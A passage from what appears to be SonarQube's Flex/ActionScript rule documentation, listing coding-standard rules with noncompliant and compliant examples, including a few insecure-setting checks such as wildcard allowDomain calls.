public function numberOfMinutes(hours:int):int
{
  return hours * 60;
}
flex:S1446

A dynamic class defines an object that can be altered at run time by adding or changing properties and methods. This extremely powerful mechanism should be used very carefully, and only in very limited use cases.

Indeed, by definition dynamic classes make refactoring difficult and prevent the compiler from raising potential errors at compile time.

Noncompliant Code Example

dynamic public class DynamicFoo
{...}

Compliant Solution

public class Foo  //Note that the class has been renamed to avoid confusion
{...}
flex:S1447

In ActionScript 3, constructor code is always interpreted rather than compiled by the JIT at runtime, which is why the body of a constructor should be as lightweight as possible. As soon as a constructor contains branches ("if", "for", "switch", ...) an issue is logged.

Noncompliant Code Example

public class Foo
{
  public function Foo()
  {
    if (condition) {  // Noncompliant
      // ...
    }
  }
}

Compliant Solution

public class Foo
{
  public function Foo()
  {
    init()
  }

  private function init():void
  {
    if (condition) {
      // ...
    }
  }
}
flex:S1448

A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics.

flex:S100

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression: ^[a-z][a-zA-Z0-9]*$

function DoSomething(){...}

Compliant Solution

function doSomething(){...}
flex:S101

Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression ^[A-Z][a-zA-Z0-9]*$:

public class myClass {...}

Compliant Solution

public class MyClass {...}
flex:S1440

The == and != operators do type coercion before comparing values. This is bad because it can mask type errors. For example, it evaluates ' \t\r\n' == 0 as true.

It is best to always use the side-effect-less === and !== operators instead.

Noncompliant Code Example

if (var == 'howdy') {...} // Noncompliant

Compliant Solution

if (var === 'howdy') {...}
flex:S1442

Alert.show(...) can be useful for debugging during development, but in production mode this kind of pop-up could expose sensitive information to attackers, and should never be displayed.

Noncompliant Code Example

if (unexpectedCondition)
{
  Alert.show("Unexpected Condition");
}

See

Deprecated

This rule is deprecated; use S4507 instead.

flex:S1125

Redundant Boolean literals should be removed from expressions to improve readability.

Noncompliant Code Example

if (booleanMethod() == true) { /* ... */ }
if (booleanMethod() == false) { /* ... */ }
if (booleanMethod() || false) { /* ... */ }
doSomething(!false);
doSomething(booleanMethod() == true);

booleanVariable = booleanMethod() ? true : false;
booleanVariable = booleanMethod() ? true : exp;
booleanVariable = booleanMethod() ? false : exp;
booleanVariable = booleanMethod() ? exp : true;
booleanVariable = booleanMethod() ? exp : false;

Compliant Solution

if (booleanMethod()) { /* ... */ }
if (!booleanMethod()) { /* ... */ }
if (booleanMethod()) { /* ... */ }
doSomething(true);
doSomething(booleanMethod());

booleanVariable = booleanMethod();
booleanVariable = booleanMethod() || exp;
booleanVariable = !booleanMethod() && exp;
booleanVariable = !booleanMethod() || exp;
booleanVariable = booleanMethod() && exp;
flex:S1444

There is no good reason to declare a field "public" and "static" without also declaring it "const". Most of the time this is a kludge to share a state among several objects. But with this approach, any object can do whatever it wants with the shared state, such as setting it to null.

Noncompliant Code Example

public class Greeter {
  public static var foo:Foo = new Foo(...);
  ...
}

Compliant Solution

public class Greeter {
  public static const FOO:Foo = new Foo(...);
  ...
}

See

flex:S1445

Even though this is syntactically correct, the void return type should not be used in the signature of a constructor. Indeed some developers might be confused by this syntax, believing that the constructor is in fact a standard function.

Noncompliant Code Example

public class Foo
{
  public function Foo() : void
  {...}
}

Compliant Solution

public class Foo
{
  public function Foo()
  {...}
}
flex:ActionScript2

Usage of statements, operators and keywords specific to ActionScript 2 does not allow to migrate to ActionScript 3. This includes "intrinsic" keyword, set variable statement and following list of operators:

  • <> (inequality) - use != instead
  • add (concatenation (strings)) - use + instead
  • eq (equality (strings)) - use == instead
  • ne (not equal (strings)) - use != instead
  • lt (less than (strings)) - use < instead
  • le (less than or equal to (strings)) - use <= instead
  • gt (greater than (strings)) - use > instead
  • ge (greater than or equal to (strings)) - use >= instead
  • and (logical and) - use && instead
  • or (logical or) - use || instead
  • not (logical not) - use ! instead

Noncompliant Code Example

if (true != false) { // Compliant
}

if (true <> false) { // Noncompliant
}

set("varName", value); // Noncompliant
varName = value; // Compliant
flex:S127

A for loop stop condition should test the loop counter against an invariant value (i.e. one that is true at both the beginning and ending of every loop iteration). Ideally, this means that the stop condition is set to a local variable just before the loop begins.

Stop conditions that are not invariant are slightly less efficient, as well as being difficult to understand and maintain, and likely lead to the introduction of errors in the future.

This rule tracks three types of non-invariant stop conditions:

  • When the loop counters are updated in the body of the for loop
  • When the stop condition depend upon a method call
  • When the stop condition depends on an object property, since such properties could change during the execution of the loop.

Noncompliant Code Example

for (var i = 0; i < 10; i++) {
  ...
  i = i - 1; // Noncompliant
  ...
}

for (var i = 0; i < getMaximumNumber(); i++) {...}

Compliant Solution

int stopCondition = getMaximumNumber();
for (var i = 0; i < stopCondition; i++) {...}
flex:S1151

The switch statement should be used only to clearly define some new branches in the control flow. As soon as a case clause contains too many statements this highly decreases the readability of the overall control flow statement. In such case, the content of the case clause should be extracted into a dedicated method.

Noncompliant Code Example

With the default threshold of 5:

switch (myVariable) {
  case 0:       // Noncompliant - 6 lines till next case or default case
    trace("");
    trace("");
    trace("");
    trace("");
    break;
  case 1:
  ...
}

Compliant Solution

switch (myVariable) {
  case 0:
    printSomething()
    break;
  case 1:
  ...
}
...
private function printSomething() {
  trace("");
  trace("");
  trace("");
  trace("");
}
flex:S1470

Overriding Event.clone() is a required part of the API contract:

You are required to override the Event.clone() method in your Event subclass. The clone() method returns a cloned copy of the event object by setting the type property and any new properties in the clone. Typically, you define the clone() method to return an event instance created with the new operator.

Noncompliant Code Example

public class MyEvent extends Event {...}

Compliant Solution

public class MyEvent extends Event
{
...
  override public function clone():Event {
    return new MyEvent(...);
  }
...
}
flex:NonEmptyCaseWithoutBreak

When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior.

Noncompliant Code Example

switch (myVariable) {
  case 1:
    foo();
    break;
  case 2:  // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ?
    doSomething();
  default:
    doSomethingElse();
    break;
}

Compliant Solution

switch (myVariable) {
  case 1:
    foo();
    break;
  case 2:
    doSomething();
    break;
  default:
    doSomethingElse();
    break;
}

Exceptions

This rule is relaxed in the following cases:

switch (myVariable) {
  case 0: // Empty case used to specify the same behavior for a group of cases.
  case 1:
    doSomething();
    break;
  case 2: // Use of return statement
    return;
  case 3: // Use of throw statement
    throw new IllegalStateException();
  case 4: // Use of continue statement
    continue;
  default: // For the last case, use of break statement is optional
    doSomethingElse();
}

See

  • MITRE, CWE-484 - Omitted Break Statement in Switch
  • CERT, MSC17-C. - Finish every set of statements associated with a case label with a break statement
  • CERT, MSC52-J. - Finish every set of statements associated with a case label with a break statement
flex:WithStatement

Never use with statements, since they decrease readability. When you do not specify a variable's scope, you do not always know where you are setting properties, so your code can be confusing.

Noncompliant Code Example

with (foo) { // Noncompliant
  return x;  // is it a property of foo or local variable ?
}

Compliant Solution

return foo.x;
flex:CommentedCode

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

flex:CommentRegularExpression

This rule template can be used to create rules which will be triggered when a comment matches a given regular expression.

For example, one can create a rule with the regular expression .*REVIEW.* to match all comment containing "REVIEW".

Note that, in order to match REVIEW regardless of the case, the (?i) modifier should be prepended to the expression, as in (?i).*REVIEW.*.

flex:S1435

According to the ActionScript language reference, the star type:

Specifies that a property is untyped. Use of the asterisk symbol for a type annotation is equivalent to using no type annotation. Expressions that read from untyped properties are considered untyped expressions. Use of untyped expressions or properties is recommended in the following circumstances:

  • When you want to defer type checking to runtime. You can use an untyped property or expression to circumvent compile-time type checking in strict mode. Note, however, that runtime type checking of assignment statements occurs whether you use strict mode or not.
  • When you want to store the value undefined in a property. Unlike previous versions of ActionScript, the value undefined is not a member of the Object data type. You must use an untyped property to store the value undefined.

But deferring type checking to runtime can highly impact the robustness of the application because the compiler is unable to assist the developer.

Noncompliant Code Example

var obj:*;  // Noncompliant
var foo:* = new Something();  // Noncompliant

Compliant Solution

var obj:Something;
var foo:Something = new Something();
flex:S1116

Empty statements, i.e. ;, are usually introduced by mistake, for example because:

  • It was meant to be replaced by an actual statement, but this was forgotten.
  • There was a typo which lead the semicolon to be doubled, i.e. ;;.

Noncompliant Code Example

function doSomething():void {
  ;                                                       // Noncompliant - was used as a kind of TODO marker
}

function doSomethingElse():void {
  trace("Hello, world!");;                     // Noncompliant - double ;
  ...
  for (var i:int = 0; i < 3; trace(i), i++);       // Noncompliant - Rarely, they are used on purpose as the body of a loop. It is a bad practice to have side-effects outside of the loop body
  ...
}

Compliant Solution

function doSomething():void {}

function doSomethingElse():void {
  trace("Hello, world!");
  ...
  for (var i:int = 0; i < 3; i++){
    trace(i);
  }
  ...
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • CERT, MSC51-J. - Do not place a semicolon immediately following an if, for, or while condition
  • CERT, EXP15-C. - Do not place a semicolon on the same line as an if, for, or while statement
flex:S1314

Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values.

Noncompliant Code Example

var myNumber:int = 010;  // Noncompliant. myNumber will hold 8, not 10 - was this really expected?

Compliant Solution

var myNumber:int = 8;

See

flex:S1952

It can be expensive to instantiate a new object, and doing so inside a loop is typically an error. Instead, create the object once, before the loop.

Noncompliant Code Example

for (var i:int = 0; i < 10; i++) {
  var temp:MyObj = new MyObject();  // Noncompliant
  //...
}

Compliant Solution

var temp:MyObj = new MyObject();
for (var i:int = 0; i < 10; i++) {
  //...
}
flex:FunctionComplexity

The Cyclomatic Complexity of functions should not exceed a defined threshold. Complex code may perform poorly and can be difficult to test thoroughly.

flex:S4507

Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities:

An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users.

Ask Yourself Whether

  • the code or configuration enabling the application debug features is deployed on production servers.
  • the application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not enable debug features on production servers.

Sensitive Code Example

if (unexpectedCondition)
{
  Alert.show("Unexpected Condition"); // Sensitive
}

The trace() function outputs debug statements, which can be read by anyone with a debug version of the Flash player:

var val:Number = doCalculation();
trace("Calculation result: " + val);  // Sensitive

See

flex:S1117

Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another.

Noncompliant Code Example

class Foo {
  public var myField:int;

  public function doSomething():String {
    var myField:int = 0;
    ...
  }
}

See

flex:SwitchWithoutDefault

The requirement for a final default clause is defensive programming. The clause should either take appropriate action, or contain a suitable comment as to why no action is taken.

Noncompliant Code Example

switch (param) { // Noncompliant - default clause is missing
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
}

switch (param) {
  default: // Noncompliant - default clause should be the last one
    doSomething();
    break;
  case 0:
    doSomethingElse();
    break;
}

Compliant Solution

switch (param) {
  case 0:
    doSomethingElse();
    break;
  default:
    doSomethingElse();
    break;
}

See

flex:S1438

In Flex, the semicolon is optional as a statement separator, but omitting semicolons can be confusing.

Noncompliant Code Example

function fun() {
  return   // Noncompliant
       5   // Noncompliant
}
print(fun());  // prints "undefined", not "5"

Compliant Solution

function fun() {
  return 5;
}
print(fun());
flex:S1439

Any statement or block of statements can be identified by a label, but those labels should be used only on while, do-while and for statements. Using labels in any other context leads to unstructured, confusing code.

Noncompliant Code Example

myLabel:if (i % 2 == 0) {  // Noncompliant
  if (i == 12) {
    print("12");
    break myLabel;
  }
  print("Odd number, but not 12");
}

Compliant Solution

myLabel:for (i = 0; i < 10; i++) {   // Compliant
  print("Loop");
  break myLabel;
}
flex:S134

Nested if, for, while, do while and switch statements is a key ingredient for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

Noncompliant Code Example

With the default threshold of 3:

  if (condition1) {                  // Compliant - depth = 1
    /* ... */
    if (condition2) {                // Compliant - depth = 2
      /* ... */
      for(int i = 0; i < 10; i++) {  // Compliant - depth = 3, not exceeding the limit
        /* ... */
        if (condition4) {            // Noncompliant - depth = 4
          if (condition5) {          // Depth = 5, exceeding the limit, but issues are only reported on depth = 4
            /* ... */
          }
          return;
        }
      }
    }
  }
flex:FunctionSinglePointOfExit

This is required by IEC 61508, under good programming style.

Noncompliant Code Example

function func1() { // Noncompliant - there are two points of exit
  if (false) {
    return;
  }
}

function func2() { // Noncompliant - there are two points of exit
  if (a > 0) {
    return 0;
  }
  return -1;
}

Compliant Solution

function func1() {
  return;
}

function func2() {
}

function func3();
flex:S1871

Having two cases in a switch statement or two branches in an if chain with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an if chain they should be combined, or for a switch, one should fall through to the other.

Noncompliant Code Example

switch (i) {
  case 1:
    doFirstThing();
    doSomething();
    break;
  case 2:
    doSomethingDifferent();
    break;
  case 3:  // Noncompliant; duplicates case 1's implementation
    doFirstThing();
    doSomething();
    break;
  default:
    doTheRest();
}

if (a >= 0 && a < 10) {
  doFirstThing();
  doTheThing();
}
else if (a >= 10 && a < 20) {
  doTheOtherThing();
}
else if (a >= 20 && a < 50) {
  doFirstThing();
  doTheThing();  // Noncompliant; duplicates first condition
}
else {
  doTheRest();
}

Exceptions

Blocks in an if chain that contain a single line of code are ignored, as are blocks in a switch statement that contain a single line of code with or without a following break.

if (a == 1) {
  doSomething();  //no issue, usually this is done on purpose to increase the readability
} else if (a == 2) {
  doSomethingElse();
} else {
  doSomething();
}

But this exception does not apply to if chains without else-s, or to switch-es without default clauses when all branches have the same single line of code. In case of if chains with else-s, or of switch-es with default clauses, rule S3923 raises a bug.

if (a == 1) {
  doSomething();  //Noncompliant, this might have been done on purpose but probably not
} else if (a == 2) {
  doSomething();
}
flex:S1312

Loggers should be:

  • private: not accessible outside of their parent classes. If another class needs to log something, it should instantiate its own logger.
  • static: not dependent on an instance of a class (an object). When logging something, contextual information can of course be provided in the messages but the logger should be created at class level to prevent creating a logger along with each object.
  • const: created once and only once per class.

Noncompliant Code Example

With the default regular expression LOG(?:GER)?:

public const logger:ILogger = LogUtil.getLogger(MyClass);

Compliant Solution

private static const LOG:ILogger = LogUtil.getLogger(MyClass);
flex:S1950

Having multiple cases in a switch with the same condition is confusing at best. At worst, it's a bug that is likely to induce further bugs as the code is maintained.

If the first case ends with a break, the second case will never be executed, rendering it dead code. Worse there is the risk in this situation that future maintenance will be done on the dead case, rather than on the one that's actually used.

On the other hand, if the first case does not end with a break, both cases will be executed, but future maintainers may not notice that.

Noncompliant Code Example

switch(i) {
  case 1:
    //...
    break;
  case 5:
    //...
    break;
  case 3:
    //...
    break;
  case 1:  // Noncompliant
    //...
    break;
}

Compliant Solution

switch(i) {
  case 1:
    //...
    break;
  case 5:
    //...
    break;
  case 3:
    //...
    break;
}
flex:S1434

Creating a new variable with the type "Object" means that it may be used to store any kind of object. This feature may be required in some specific contexts, but it leaves the compiler unable to do any kind of type checking, and is therefore a hazardous practice.

Noncompliant Code Example

var obj:Object = new String(); // Noncompliant; Object used explicitly
var foo = new Object(); // Noncompliant; Object used explicitly
var bar = {name:String, age:int};  // Noncompliant; Object implicitly created

Compliant Solution

var obj:String = new String();
var foo:IPortfolio = new Portfolio();
class Person {
  public var name:String;
  public var age:int;
}
var bar:Person = new Person();
flex:S1951

The trace() function outputs debug statements, which can be read by anyone with a debug version of the Flash player. Because sensitive information could easily be exposed in this manner, trace() should never appear in production code.

Noncompliant Code Example

    var val:Number = doCalculation();
    trace("Calculation result: " + val);  // Noncompliant

Compliant Solution

    var val:Number = doCalculation();

See

Deprecated

This rule is deprecated; use S4507 instead.

flex:S117

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression.

Noncompliant Code Example

With the default regular expression ^[_a-z][a-zA-Z0-9]*$:

public function doSomething(my_param:int):void
{
  var LOCAL:int;
  ...
}

Compliant Solution

public function doSomething(myParam):void
{
  var local;
  ...
}
flex:S115

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all constant names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[A-Z][A-Z0-9]*(_[A-Z0-9]+)*$:

public static const first:String = "first";

Compliant Solution

public static const FIRST:String = "first";
flex:S116

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that field names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[_a-z][a-zA-Z0-9]*$:

class MyClass {
  public var my_field:int;
}

Compliant Solution

public class MyClass {
   public var myField:int;
}
flex:ClassComplexity

The cyclomatic complexity of a class should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain.

Deprecated

This rule is deprecated, and will eventually be removed.

flex:S1468

Calling Security.allowDomain("*") lets any domain cross-script into the domain of this SWF and exercise its functionality.

Noncompliant Code Example

Security.allowDomain("*");

Compliant Solution

Security.allowDomain("www.myDomain.com");
flex:S1820

A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain, and having a lot of fields is an indication that a class has grown too large.

Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics.

flex:S1469

Quoted from the Flex documentation :

When you define an Array variable in ActionScript, you specify Array as the data type of the variable. However, you cannot specify the data type of the elements of the Array.

To allow the Flex MXML compiler to perform type checking on Array elements, you can use the [ArrayElementType] metadata tag to specify the allowed data type of the Array elements.

Noncompliant Code Example

public var newStringProperty:Array;
public var newNumberProperty:Array;

Compliant Solution

[ArrayElementType("String")]
public var newStringProperty:Array;

[ArrayElementType("Number")]
public var newNumberProperty:Array;
flex:S1821

Nested switch structures are difficult to understand because you can easily confuse the cases of an inner switch as belonging to an outer statement. Therefore nested switch statements should be avoided.

Specifically, you should structure your code to avoid the need for nested switch statements, but if you cannot, then consider moving the inner switch to another function.

Noncompliant Code Example

public function func(foo:Number, bar:Number):void
{
  switch (foo)
  {
    case 1:
      // do something
      break;
    case 2:
      switch (bar)  // Noncompliant
      {
        case 89:  // It's easy to lose sight of what's being tested; is it foo or bar?
          // ...
          break;
        case 90:
          // ...
          break;
      }
      break;
    case 3:
      // do something
      break;
    default:
      break;
  }
}

Compliant Solution


public function func(foo:Number, bar:Number):void
{
  switch (foo)
  {
    case 1:
      // ...
      break;
    case 2:
      handleBar(bar);
      break;
    case 3:
      // ...
      break;
    default:
      break;
  }
}

public function handleBar(bar:Number):void
{
  switch (bar)
  {
    case 89:
      // ...
      break;
    case 90:
      // ...
      break;
  }
}
flex:S3923

Having all branches in a switch or if chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a switch/if chain at all.

Noncompliant Code Example

if (b == 0) {  // Noncompliant
  doOneMoreThing();
} else {
  doOneMoreThing();
}

int b = a > 12 ? 4 : 4;  // Noncompliant

switch (i) {  // Noncompliant
  case 1:
    doSomething();
    break;
  case 2:
    doSomething();
    break;
  case 3:
    doSomething();
    break;
  default:
    doSomething();
}

Exceptions

This rule does not apply to if chains without else-s, or to switch-es without default clauses.

if(b == 0) {    //no issue, this could have been done on purpose to make the code more readable
  doSomething();
} else if(b == 1) {
  doSomething();
}
flex:OneStatementPerLine

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

if(someCondition) doSomething();

Compliant Solution

if(someCondition) {
  doSomething();
}
flex:S1185

Overriding a method just to call the same method from the super class without performing any other actions is useless and misleading.

Noncompliant Code Example

override public function doSomething() : void
{
  super.doSomething();
}

override public function isLegal(action:Action) : Boolean
{
  return super.isLegal(action);
}

Compliant Solution

override public function doSomething() : void
{
  super.doSomething();                             // Compliant - not simply forwarding the call
  doSomethingElse();
}

override public function isLegal(action:Action) : Boolean
{
  return super.isLegal(new Action(...));   // Compliant - not simply forwarding the call
}

[Deprecated(replacement="isAuthorized")]
override public function isLegal(action:Action) : Boolean
{
  return super.isLegal(action);   // Compliant as there is a metadata
}
flex:S1142

Having too many return statements in a function increases the function's essential complexity because the flow of execution is broken each time a return statement is encountered. This makes it harder to read and understand the logic of the function.

Noncompliant Code Example

With the default threshold of 3:

function myFunction():boolean { // Noncompliant as there are 4 return statements
  if (condition1) {
    return true;
  } else {
    if (condition2) {
      return false;
    } else {
      return true;
    }
  }
  return false;
}
flex:S1186

There are several reasons for a method not to have a method body:

  • It is an unintentional omission, and should be fixed to prevent an unexpected behavior in production.
  • It is not yet, or never will be, supported. In this case an NotSupportedException should be thrown.
  • The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.

Noncompliant Code Example

public override function doSomething():void {
}

public function doSomethingElse():void {
}

Compliant Solution

public override function doSomething():void {
  throw new IllegalOperationError("doSomething cannot be performed because ...");
}

public function doSomethingElse():void {
  //This method is empty because ...
}
flex:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if (condition1) {
  if (condition2) {             // NonCompliant
    ...
  }
}

Compliant Solution

if (condition1 && condition2) {
  ...
}
flex:S120

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all package names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[a-z]+(\.[a-z][a-z0-9]*)*$:

package org.Example {  // Noncompliant
...
}

Compliant Solution

package org.example {
...
}
flex:S1462

Using plain string event names in even listeners is an anti-pattern; if the event is renamed, the application can start behaving unexpectedly. A constant variable should be used instead.

Noncompliant Code Example

import flash.display.Sprite;
import flash.events.MouseEvent;

class ChildSprite extends Sprite
{
    public function ChildSprite()
    {
        ...
        addEventListener("CustomEvent", clickHandler);   // Noncompliant
    }
}

function clickHandler(event:CustomEvent):void
{
    trace("clickHandler detected an event of type: " + event.type);
    trace("the this keyword refers to: " + this);
}

Compliant Solution

import flash.display.Sprite;
import flash.events.MouseEvent;

class ChildSprite extends Sprite
{
   public const CUSTOM_EVENT:String = "CustomEvent";

    public function ChildSprite()
    {
        ...
        addEventListener(CUSTOM_EVENT, clickHandler);
    }
}

function clickHandler(event:CustomEvent):void
{
    trace("clickHandler detected an event of type: " + event.type);
    trace("the this keyword refers to: " + this);
}
flex:S1463

According to the Flex documentation :

In an ActionScript file, when you define component events or other aspects of a component that affect more than a single property, you add the metadata tag outside the class definition so that the metadata is bound to the entire class, as the following example shows:

// Add the [Event] metadata tag outside of the class file.
[Event(name="enableChange", type="flash.events.Event")]
public class ModalText extends TextArea {

    ...

    // Define class properties/methods
    private var _enableTA:Boolean;

    // Add the [Inspectable] metadata tag before the individual property.
    [Inspectable(defaultValue="false")]
    public function set enableTA(val:Boolean):void {
        _enableTA = val;
        this.enabled = val;

        // Define event object, initialize it, then dispatch it.
        var eventObj:Event = new Event("enableChange");
        dispatchEvent(eventObj);
    }
}

In this example, the "enableChange" event must be considered part of the API. Therefore, it should be strongly typed.

Noncompliant Code Example

[Event(name="enableChange")]
public class ModalText extends TextArea {...}

Compliant Solution

[Event(name="enableChange", type="flash.events.Event")]
public class ModalText extends TextArea {...}
flex:S1144

Private functions that are never executed are dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.

Noncompliant Code Example

public class Foo
{
  private function Foo(){}   //Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class.
  public static function doSomething():void
  {
    var foo:Foo = new Foo();
    ...
  }
  private function unusedPrivateFunction():void {...}
}

Compliant Solution

public class Foo
{
  private function Foo(){}   //Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class.
  public static function doSomething():void
  {
    var foo:Foo = new Foo();
    ...
  }
}
flex:S1145

if statements with conditions that are always false have the effect of making blocks of code non-functional. if statements with conditions that are always true are completely redundant, and make the code less readable.

There are three possible causes for the presence of such code:

  • An if statement was changed during debugging and that debug code has been committed.
  • Some value was left unset.
  • Some logic is not doing what the programmer thought it did.

In any of these cases, unconditional if statements should be removed.

Noncompliant Code Example

if (true) {
  doSomething();
}
...
if (false) {
  doSomethingElse();
}

Compliant Solution

doSomething();
...

See

flex:S1464

The "ManagedEvents" metadata tag allows you to flag an event as being managed. By definition this "ManagedEvents" metadata tag should be used in pair with an "Event" metadata tag.

Noncompliant Code Example

[Event(name="message", type="my.package.MyEvemt")]
[ManagedEvents("mes")]       //This "mes" event is not defined with the "Event" metadata tag
public class MyClass {...}

Compliant Solution

[Event(name="message", type="my.package.MyEvemt")]
[ManagedEvents("message")]
public class MyClass {...}
flex:S1068

If a private field is declared but not used in the program, it can be considered dead code and should therefore be removed. This will improve maintainability because developers will not wonder what the variable is used for.

Noncompliant Code Example

public class MyClass {
  private var foo:int = 4;                       //foo is unused

  public function compute(a:int):int{
    return a * 4;
  }
}

Compliant Solution

public class MyClass {

  public function compute(a:int):int{
    return a * 4;
  }
}
flex:S1465

A LocalConnection object is used to invoke a method in another LocalConnection object, either within a single SWF file or between multiple SWF files. This kind of local connection should be authorized only when the origin (domain) of the other Flex applications is perfectly defined.

Noncompliant Code Example

localConnection.allowDomain("*");

Compliant Solution

localConnection.allowDomain("www.myDomain.com");
flex:S1784

Access modifiers define which classes can access properties, variables, methods, and other classes. If an access modifier is not specified, the access level defaults to internal, which grants access to all classes in the same package. This may be what is intended, but it should be specified explicitly to avoid confusion.

Available access modifiers are:

  • internal - access allowed within the same package
  • private - access allowed only within the same class
  • protected - access allowed to the class and its child classes
  • public - unfettered access by all

Noncompliant Code Example

function checkResources():Boolean {
  ...
  return true;
}

Compliant Solution

public function checkResources():Boolean {
  ...
  return true;
}
flex:S1982

The onEnterFrame event handler is continually invoked at the frame rate of the SWF file, regardless of which individual movie frame it is set for. Having too many onEnterFrame handlers can seriously degrade performance.

If the use of this event handler cannot be avoided entirely, then it should be created as close to its use as possible, and then destroyed as soon as possible afterward.

Noncompliant Code Example

movieClip.onEnterFrame = function () {   // Noncompliant
   // ...
}
flex:S1301

switch statements are useful when there are many different cases depending on the value of the same expression.

For just one or two cases however, the code will be more readable with if statements.

Noncompliant Code Example

switch (variable) {
  case 0:
    doSomething();
    break;
  default:
    doSomethingElse();
    break;
}

Compliant Solution

if (variable == 0) {
  doSomething();
} else {
  doSomethingElse();
}
flex:S1466

The Security.exactSettings value should remain set at the default value of true. Setting this value to false could make the SWF vulnerable to cross-domain attacks.

Noncompliant Code Example

Security.exactSettings = false;

Compliant Solution

Security.exactSettings = true;
flex:S1467

A listener can be attached to an object only after it has been constructed. So dispatching an event in a constructor is useless and error prone.

Noncompliant Code Example

public class MyClass
{
  public function MyClass()
  {
    dispatchEvent( new Event( "uselessEvent" ) );
  }
}
flex:XPath

This rule allows the definition of custom rules using XPath expressions.

Issues are created depending on the return value of the XPath expression. If the XPath expression returns:

  • a single or list of AST nodes, then a line issue with the given message is created for each node
  • a boolean, then a file issue with the given message is created only if the boolean is true
  • anything else, no issue is created

Here is an example of an XPath expression to log an issue on each if statement:

//IF_STATEMENT
flex:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

for (var i:int = 0; i < 42; i++){}  // Noncompliant

try {                               // Noncompliant
} catch (error)
{
    ...
}

Compliant Solution

for (var i:int = 0; i < 42; i++);

for (var i:int = 0; i < 42; i++) {
  trace(i);
}

Exceptions

When a block contains a comment, this block is not considered to be empty.

flex:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

Noncompliant Code Example

With a maximum number of 4 parameters:

public function addData(p1 : int, p2 : int, p3 : int, p4 : int, p5 : int): void  {
...
}

Compliant Solution

public function addData(p1 : int, p2 : int, p3 : int, p4 : int): void  {
...
}
flex:S1170

Making a public constant just const as opposed to static const leads to duplicating its value for every instance of the class, uselessly increasing the amount of memory required to execute the application.

Noncompliant Code Example

public class Myclass
{
  public const THRESHOLD:int = 3;
}

Compliant Solution

public class Myclass
{
  public static const THRESHOLD:int = 3;
}
flex:S1172

Unused parameters are misleading. Whatever the value passed to such parameters is, the behavior will be the same.

Noncompliant Code Example

function doSomething(a:int, b:int):void      // "b" is unused
{
  compute(a);
}

Compliant Solution

function doSomething(a:int):void
{
  compute(a);
}

Exceptions

The following cases are ignored

  • event handlers.
  • overriding methods.
  • all methods in classes implementing one or more interfaces.
  • methods which are empty or where the body consists of a single comment or a single throw statement (i.e. where the intention is apparently to simulate an abstract class).
override function doSomething(a:int):void {    // ignored
  compute(a);
}

...

class AbstractSomething {
  public function doSomething(a:int) {  // ignored
    throw new IllegalOperationError("doSomething() is abstract");
  }

...

interface I {
  function action(a:int, b:int);
}

class C extends I {
  function action(a:int, b:int) { // ignored
    return doSomethignWith(a);
  }
}

function clickHandler(event:MouseEvent):void { // ignored
   trace("click");
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
flex:LineLength

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

flex:ParsingError

When the Flex parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse.

flex:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
